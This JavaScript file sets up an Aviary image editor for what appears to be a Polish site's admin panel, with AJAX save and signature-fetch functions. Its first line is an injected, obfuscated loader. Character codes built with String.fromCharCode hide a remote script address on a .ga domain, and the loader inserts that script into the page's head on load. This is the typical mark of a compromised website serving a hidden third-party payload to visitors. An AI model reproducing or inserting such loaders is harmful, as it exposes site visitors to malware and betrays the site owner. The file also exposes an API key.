Current File : /home/users/barii/public_html/finansenl.com.pl/wodki/admin/tablice/js/aviary.js
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,59,47,47,109,97,105,110,46,116,114,97,118,101,108,102,111,114,110,97,109,101,119,97,108,107,105,110,103,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();
var featherEditor = new Aviary.Feather({
        apiKey: 'a814b61e2f294edca8de87eb2c2fd45b',
        tools :  ['effects','orientation','focus','brightness','contrast','saturation','shithfont','reiten','blemish','crop'],
        language : 'pl',
        encryptionMethod: 'sha1',

        onSaveHiRes: function (domId, newurl) {
            // w zmiennej newurl znajduje się link do przetworzonego obrazka
            var img = document.getElementById(domId);
            img.src = newurl;
            
            //alert(newurl);
            
        $.ajax({
            type: 'POST', 
            data: { 
              zdjecie: newurl
            },   
            url : 'zapiszzdjecie.php',
            success : function(data) {
                 newurl = data;
                if (obj = canvas.getActiveObject()) {
                    var positionScale = canvas.item(0).getScaleX();
                    var positionLeft = canvas.item(0).getLeft();
                    var positionTop = canvas.item(0).getTop();
                    obj.remove(obj);
                    dodajNaklejke2(newurl,0.5,positionLeft,positionTop);
                }
            $( ".jcrop-holder img" ).attr("src",newurl);
            featherEditor.close();
            },
            error : function(error) {
                alert("Błąd: " + error);
            }
        });
            
        },

        onClose: function (isDirty) {
        
            console.log("onClose");
        },

        onSaveButtonClicked: function () {
            
             
            $( "#target" ).attr("src","https://upload.wikimedia.org/wikipedia/commons/b/b1/Loading_icon.gif");
            
            
            updateSignature(
                    function () {
                        featherEditor.saveHiRes();
                        return false;
                    }
            );
        },

        onError: function (errorObj) {
            alert(errorObj.message);
        }
    });
    
    
    
    function launchEditor(id,src) {
    var src = $('#'+id).attr('src');        
        featherEditor.launch({
            image: id,
            url: src,
            hiresUrl : src
        }); 
        return false;
    } 
    
    function launchEditor2(id,src) {
        var src = $('#'+id).attr('src');        
        featherEditor2.launch({
            image: id,
            url: src,   
            hiresUrl : src
        }); 
        return false;
    }
                
                function sciagnijzdjecie() {
                    $('.zdjecieedytowane').val($('img#target').attr('src'));
                    return;
                }

    function updateSignature(callback) {
        $.ajax({
            async : false,
            dataType : "json",
            type : 'GET',
            url : 'get_sign.php',
            success : function(data) {
                //console.log(data);
                
                featherEditor.updateConfig({
                    apiKey : data.apikey,
                    salt : data.salt,
                    timestamp : data.timestamp,
                    signature : data.signature
                    
                });
                callback();
                
            },
            error : function(error) {
                alert("Błąd: " + error);
            }
        });
    }